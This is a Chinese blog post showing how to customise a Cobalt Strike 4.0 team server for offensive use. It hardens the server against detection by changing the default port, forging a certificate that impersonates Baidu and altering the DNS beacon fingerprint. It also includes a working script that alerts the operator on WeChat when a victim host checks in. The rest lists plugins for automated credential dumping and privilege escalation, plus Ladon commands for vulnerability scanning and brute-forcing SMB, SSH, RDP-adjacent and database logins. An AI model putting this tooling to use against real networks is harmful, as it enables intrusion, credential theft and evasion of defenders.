打造专属 Cobalt Strike

  • A+
所属分类:安全博客

环境准备

  • VPS
  • CentOS 8
  • CobaltStrike4.0
  • ServerChan SCKEY

配置 VPS

  1. 使用dnf安装常用软件
1
dnf install vim net-tools wget –y
  1. 修改主机名
1
2
3
echo 'Catherine' >/etc/hostname
hostname `cat /etc/hostname`
bash
  1. DNF/YUM源配置文件替换为阿里源
1
2
3
4
5
6
7
8
9
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo
yum -y install wget
# 查看是否修改成功
cat /etc/yum.repos.d/CentOS-Base.repo
# 生成缓存
yum makecache
# 升级软件包
yum -y update
dnf -y update

DNF是Linux上的下一代包管理工具,它替换的对象是YUM
参考链接:https://blog.csdn.net/dengshulei/article/details/103704285

安装 Java环境

安装 jdk1.8

1
yum install java-1.8.0-openjdk* -y

卸载

1
2
3
4
5
6
# 检查系统是否自带 jdk
rpm -qa |grep java
rpm -qa |grep jdk
rpm -qa |grep gcj
# 如果有输出信息,批量卸载系统自带
rpm -qa | grep java | xargs rpm -e --nodeps

查看 Java 版本

1
2
3
4
[[email protected] ~]# java -version
openjdk version "1.8.0_272"
OpenJDK Runtime Environment (build 1.8.0_272-b10)
OpenJDK 64-Bit Server VM (build 25.272-b10, mixed mode)

配置CobaltStrike

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。由于使用的cobalt strike版本是4.0,所以要求使用 Oracle Java 1.8,JDK 11。

启动服务端 CobaltStrike

进入到CS目录下,把 teamserver 赋予最高权限:

1
sudo chmod 777 teamserver

执行teamserver并设置ip、密码:

1
2
3
4
[[email protected] CS4.0]# ./teamserver xx.xxx.xx.xxx ******
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: *****...

连接成功:

打造专属 Cobalt Strike

端口特征

进入 cobaltstrike 的目录,执行nano teamserver,找到 server_port(默认是 50050)

1
2
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50022 -Djavax.net.ssl.keyStore=./c$

打造专属 Cobalt Strike

证书特征

Keystore 是 java 的密钥库,用来进行通信加密,如数字签名。keystore 就是用来保存密钥对的公钥和私钥。 Keystore 可理解为一个数据库,可以存放很多个组数据。

每组数据主要包含以下两种数据:

  • 密钥实体 —- 密钥(secret key)又或者私钥和配对公钥(采用非对称加密)
  • 可信任的证书实体 —- 只包含共钥

查看CobaltStrike的默认store文件

1
keytool -list -v -keystore cobaltstrike.store

密码是123456

直接访问CobaltStrike服务器的端口,也可以看到证书信息:

1
curl https://192.168.106.5:50050 -v -k

修改服务端证书CobaltStrike.store

1
keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"

keytool 用法

  • -alias 指定别名
  • -storepass pass 和 -keypass pass 指定密钥
  • -keyalg 指定算法
  • -dname 指定所有者信息

先删除 CobaltStrike 自带的 cobaltstrike.store,然后使用以下命令生成一个新的 cobaltstrike.store 即可

1
2
3
4
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu -dname "CN=baidu.com, OU=service operation department, O=Beijing Baidu Netcom Science Technology Co.\, Ltd, L=beijing, S=beijing, C=CN"

Warning:
The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12".

ctrl + x 退出时根据提示保存

详见:CobaltStrike流量规避

修改Cobalt Strike dns_idle

0.0.0.0是Cobalt Strike DNS Beacon特征可设置Malleable C2进行修改 输入set dns_idle “8.8.8.8”

设置后台挂载 CobaltStrike

每次断开ssh时,cs服务端的teamserver命令就会结束,因此需要一个挂载到后台运行的进程工具

  1. 首先安装screen: apt-get install screen
  2. 然后直接键入screen,回车进入一个新的窗口
  3. 再运行启动 teamserver 命令
  4. 按组合键Ctrl+a+d关闭窗口并后台执行,可以看到进程在后台运行,断开SSH连接也不受影响

查询进程:

1
2
3
4
5
6
[[email protected] CS4.0]# ps aux | grep teamserver
[[email protected] CS4.0]# ps -a
PID TTY TIME CMD
811265 pts/6 00:00:00 teamserver
811268 pts/6 00:00:03 java
812100 pts/5 00:00:00 ps

专属管家 ServerChan

Server酱是什么「Server酱」,英文名「ServerChan」,是一款「程序员」和「服务器」之间的通信软件。说人话?就是从服务器推报警和日志到手机的工具。

开通并使用上它,只需要一分钟:登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面)绑定:点击「微信推送」,扫码关注同时即可完成绑定发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦

Cna脚本

命名为 Cs_ServerChan.cna

1
2
3
4
5
6
7
8
9
10
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1,"internal")," ","_");
$computerName = replace(beacon_info($1,"computer")," ","_");
$userName = replace(beacon_info($1,"user")," ","_");
$cmd = 'python3 /root/Tools/CS4.0/ServerChan/ServerChan.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;
println("Sending server: " . $cmd);
exec($cmd);
}

Python 脚本

命名为 ServerChan.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding: utf-8
import argparse
import requests
import random
import string

ser_key = 'SCU117922***************************' #自己的Server酱 SCKEY
parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()

computername = args.computername
internalip = args.internalip
username = args.username

ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))

title = "Catherine 上线提醒"
content = """

**您有新主机上线啦 !**

**IP: {}**

**主机名: {}**

**用户名: {}**

**Token: {}**

**请注意查收哦 ~**
""".format(internalip, computername, username, ran_str)

resp = requests.post("https://sc.ftqq.com/{}.send".format(ser_key),
data={"text": title, "desp": content})

这里加 Token随机数的原因是Server 酱一分钟内无法发送重复信息

后台挂载脚本

把cna脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求是从客户端发出的。可是如果网络有波动,断开了到teamserver的连接,就收不到通知了。

解决方法是使用 agscript 在服务器端运行cna文件,和挂载 CobaltStrike 一样,把 cna 脚本也挂载到后台:

1
2
3
4
[[email protected] CS4.0]# screen
[[email protected] CS4.0]# ./agscript xx.xxx.xx.xxx 50022 user ServerChan/Cs_ServerChan.cna
Initial Beacon Checkin: 2122252342 PID: 3488
Sending server: python3 /root/Tools/CS4.0/SeverChan/ServerChan.py --computernam LINTSTAR82CF --internalip 10.211.55.5 --username lintstar

挂载后查看进程:

1
2
3
4
5
6
7
[[email protected] ~]# ps -a
PID TTY TIME CMD
1045504 pts/0 00:00:00 teamserver
1045507 pts/0 00:00:12 java
1049085 pts/4 00:00:00 bash
1049086 pts/4 00:00:08 java
1055932 pts/7 00:00:00 ps

这里 agscript 的用法为:

1
./agscript [host] [port] [user] 
下载密码:发表评论并刷新可见!
</path/to/file.cna>

  • [host] # 服务器的 ip 地址。
  • [port] # cs 的端口号,启动 cs 时有显示。
  • [user] # 后台挂载脚本时连接到 teamserver 的用户名。
  • 下载密码:发表评论并刷新可见!
    # 启动服务端 cs 时设置的密码。
  • [path] # cna 文件的路径。

效果

手机微信通知效果:

打造专属 Cobalt Strike

查看详情:

打造专属 Cobalt Strike

Mac 端微信通知详情:

打造专属 Cobalt Strike


CobaltStrike 插件

它们是几个.cna后缀脚本 :

打造专属 Cobalt Strike

在脚本管理器中添加即可

AV_Query

查杀毒软件

打造专属 Cobalt Strike

credpocalypse.cna

定时自动logonpasswords抓凭据

打造专属 Cobalt Strike

logvis.cna

记录命令操作日志

打造专属 Cobalt Strike

ElevateKit

Github 地址:https://github.com/rsmudge/ElevateKit

增加 CS 自带提权模块:

打造专属 Cobalt Strike

梼杌

基于cobalt strike平台的红队自动化框架

项目地址:https://github.com/pandasec888/taowu-cobalt-strike

打造专属 Cobalt Strike

功能不必多说 大保健级别

打造专属 Cobalt Strike

Ladon - 召唤神龙强化Cobalt Strike

Ladon wiki:https://k8gege.org/Ladon/

Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。

Ladon for Cobalt Strike:https://github.com/k8gege/Aggressor

打造专属 Cobalt Strike

右键扩展

打造专属 Cobalt Strike

Beacon 执行命令

  • 扫描存活主机 - Ladon 10.211.55.5/24 OnlineIP

打造专属 Cobalt Strike

  • 多协议识别操作系统 - Ladon 10.211.55.5/24 OsScan

打造专属 Cobalt Strike

  • 获取本机内网IP与外网IP - Ladon GetIP

打造专属 Cobalt Strike

其他神通

资产扫描、指纹识别、服务识别、存活主机、端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# 多协议探测存活主机 (IP、机器名、MAC地址、制造商)

- Ladon 192.168.1.8/24 OnlinePC

# 多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)

- Ladon 192.168.1.8/24 OsScan

# 扫描存活主机

- Ladon 192.168.1.8/24 OnlineIP

# ICMP扫描存活主机

- Ladon 192.168.1.8/24 Ping

# 扫描SMB漏洞MS17010 (IP、机器名、漏洞编号、操作系统版本)

- Ladon 192.168.1.8/24 MS17010

# SMBGhost漏洞检测 CVE-2020-0796 (IP、机器名、漏洞编号、操作系统版本)

- Ladon 192.168.1.8/24 SMBGhost

# 扫描Web信息/Http服务

- Ladon 192.168.1.8/24 WebScan

# 扫描C段站点URL域名

- Ladon 192.168.1.8/24 UrlScan

# 扫描C段站点URL域名

- Ladon 192.168.1.8/24 SameWeb

# 扫描子域名、二级域名

- Ladon baidu.com SubDomain

# 域名解析IP、主机名解析IP

- Ladon baidu.com DomainIP
- Ladon baidu.com HostIP

# 域内机器信息获取

- Ladon AdiDnsDump 192.168.1.8 (Domain IP)

# 扫描C段端口、指定端口扫描

- Ladon 192.168.1.8/24 PortScan
- Ladon 192.168.1.8 PortScan 80,445,3389

# 扫描C段WEB以及CMS(75种Web指纹识别)

- Ladon 192.168.1.8/24 WhatCMS

# 扫描思科设备

- Ladon 192.168.1.8/24 CiscoScan
- Ladon http://192.168.1.8 CiscoScan

# 枚举Mssql数据库主机 (数据库IP、机器名、SQL版本)

- Ladon EnumMssql

# 枚举网络共享资源 (域、存活IP、共享路径)

- Ladon EnumShare

# 扫描LDAP服务器

- Ladon 192.168.1.8/24 LdapScan

# 扫描FTP服务器

- Ladon 192.168.1.8/24 FtpScan

暴力破解/网络认证/弱口令/密码爆破/数据库/网站后台/登陆口/系统登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# 445端口 SMB密码爆破(Windows)

- Ladon 192.168.1.8/24 SmbScan

# 135端口 Wmi密码爆破(Windowns)

- Ladon 192.168.1.8/24 WmiScan

# 3389端口 LDAP服务器、AD域密码爆破(Windows)

- Ladon 192.168.1.8/24 LdapScan

# 5985端口 Winrm密码爆破(Windowns)

- Ladon 192.168.1.8/24 WinrmScan.ini

# 445端口 SMB NTLM HASH爆破(Windows)

- Ladon 192.168.1.8/24 SmbHashScan

# 135端口 Wmi NTLM HASH爆破(Windows)

- Ladon 192.168.1.8/24 WmiHashScan

# 22端口 SSH密码爆破(Linux)

- Ladon 192.168.1.8/24 SshScan
- Ladon 192.168.1.8:22 SshScan

# 1433端口 Mssql数据库密码爆破

- Ladon 192.168.1.8/24 MssqlScan

# 1521端口 Oracle数据库密码爆破

- Ladon 192.168.1.8/24 OracleScan

# 3306端口 Mysql数据库密码爆破

- Ladon 192.168.1.8/24 MysqlScan

# 7001端口 Weblogic后台密码爆破

- Ladon http://192.168.1.8:7001/console WeblogicScan
- Ladon 192.168.1.8/24 WeblogicScan

# 5900端口 VNC远程桌面密码爆破

- Ladon 192.168.1.8/24 VncScan

# 21端口 Ftp服务器密码爆破

- Ladon 192.168.1.8/24 FtpScan

# 8080端口 Tomcat后台登陆密码爆破

- Ladon 192.168.1.8/24 TomcatScan
- Ladon http://192.168.1.8:8080/manage TomcatScan

# Web端口 401基础认证密码爆破

- Ladon http://192.168.1.8/login HttpBasicScan

# 445端口 Impacket SMB密码爆破(Windowns)

- Ladon 192.168.1.8/24 SmbScan.ini

# 445端口 IPC密码爆破(Windowns)

- Ladon 192.168.1.8/24 IpcScan.ini

更多神通详见:https://github.com/k8gege/Aggressor/blob/master/README.md

FROM : lintstar.top , Author: 离沫凌天๓

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: